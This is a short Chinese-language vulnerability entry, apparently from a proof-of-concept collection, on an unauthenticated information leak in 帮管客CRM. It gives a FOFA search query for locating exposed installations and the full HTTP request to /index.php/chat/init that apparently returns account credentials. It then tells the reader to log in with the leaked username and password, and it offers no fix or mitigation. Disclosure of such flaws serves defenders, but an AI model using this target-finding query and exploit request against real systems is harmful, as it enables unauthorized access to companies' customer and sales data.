# 帮管客CRM init 信息泄露漏洞

# 一、漏洞简介
帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化.帮管客CRM init 信息泄露漏洞

# 二、影响版本
+ 帮管客CRM

# 三、资产测绘
+ fofa`app="帮管客-CRM"`
+ 特征

![1706689730844-244c90a3-963a-47a3-ab90-419f4b5c87bc.png](./img/qSUgLfGAWWht2e5C/1706689730844-244c90a3-963a-47a3-ab90-419f4b5c87bc-199793.png)

# 四、漏洞复现
```plain
GET /index.php/chat/init HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
```

![1707102932058-96647d60-8fd3-4db1-8d73-867b3eb902da.png](./img/qSUgLfGAWWht2e5C/1707102932058-96647d60-8fd3-4db1-8d73-867b3eb902da-984311.png)

使用泄漏的账号密码登陆系统

![1707103077320-0d5620ba-3942-4301-94bb-a7b11dd1faae.png](./img/qSUgLfGAWWht2e5C/1707103077320-0d5620ba-3942-4301-94bb-a7b11dd1faae-189968.png)



> 更新: 2024-02-29 23:55:41  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/mc3s6wuyw1qn9n0t>